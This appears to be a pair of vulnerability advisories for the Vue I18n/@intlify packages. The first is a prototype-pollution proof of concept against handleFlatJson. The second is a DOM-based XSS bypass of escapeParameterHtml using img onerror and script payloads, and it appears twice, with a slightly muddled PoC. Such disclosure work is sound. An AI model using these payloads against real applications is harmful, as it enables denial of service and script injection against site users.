Version Details and Security Vulnerabilities

Vulnerability type: Prototype Pollution

Vulnerability Location(s):

# v9.1
node_modules/@intlify/message-resolver/index.js

# v9.2 or later
node_modules/@intlify/vue-i18n-core/index.js

Description:

The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @intlify/message-resolver@9.1.10
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}

// poc.js
(async () => {
    const lib = await import('@intlify/message-resolver');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.__proto__));
    try {
        // for multiple functions, uncomment only one for each execution.
        lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.__proto__));
    delete Object.prototype.pollutedKey;
})();

Summary

The escapeParameterHtml: true option in Vue I18n is designed to protect against HTML/script injection by escaping interpolated parameters. However, this setting fails to prevent execution of certain tag-based payloads, such as <img src=x onerror=...>, if the interpolated value is inserted inside an HTML context using v-html.

This may lead to a DOM-based XSS vulnerability, even when using escapeParameterHtml: true, if a translation string includes minor HTML and is rendered via v-html.

Details

When escapeParameterHtml: true is enabled, it correctly escapes common injection points.

However, it does not sanitize entire attribute contexts, which can be used as XSS vectors via:

<img src=x onerror=alert(1)>

PoC

In your Vue I18n configuration:

const i18n = createI18n({
  escapeParameterHtml: true,
  messages: {
    en: {
      vulnerable: 'Caution: <img src=x onerror="{payload}">'
    }
  }
});

Use this interpolated payload:

const payload = '<script>alert("xss")</script>'; Render the translation using v-html (even not using v-html):

<p v-html="$t('vulnerable', { payload })"></p> Expected: escaped content should render as text, not execute.

Actual: script executes in some environments (or the payload is partially parsed as HTML).

Impact

This creates a DOM-based Cross-Site Scripting (XSS) vulnerability despite enabling a security option (escapeParameterHtml) .

Summary

The escapeParameterHtml: true option in Vue I18n is designed to protect against HTML/script injection by escaping interpolated parameters. However, this setting fails to prevent execution of certain tag-based payloads, such as <img src=x onerror=...>, if the interpolated value is inserted inside an HTML context using v-html.

This may lead to a DOM-based XSS vulnerability, even when using escapeParameterHtml: true, if a translation string includes minor HTML and is rendered via v-html.

Details

When escapeParameterHtml: true is enabled, it correctly escapes common injection points.

However, it does not sanitize entire attribute contexts, which can be used as XSS vectors via:

<img src=x onerror=alert(1)>

PoC

In your Vue I18n configuration:

const i18n = createI18n({
  escapeParameterHtml: true,
  messages: {
    en: {
      vulnerable: 'Caution: <img src=x onerror="{payload}">'
    }
  }
});

Use this interpolated payload:

const payload = '<script>alert("xss")</script>'; Render the translation using v-html (even not using v-html):

<p v-html="$t('vulnerable', { payload })"></p> Expected: escaped content should render as text, not execute.

Actual: script executes in some environments (or the payload is partially parsed as HTML).

Impact

This creates a DOM-based Cross-Site Scripting (XSS) vulnerability despite enabling a security option (escapeParameterHtml) .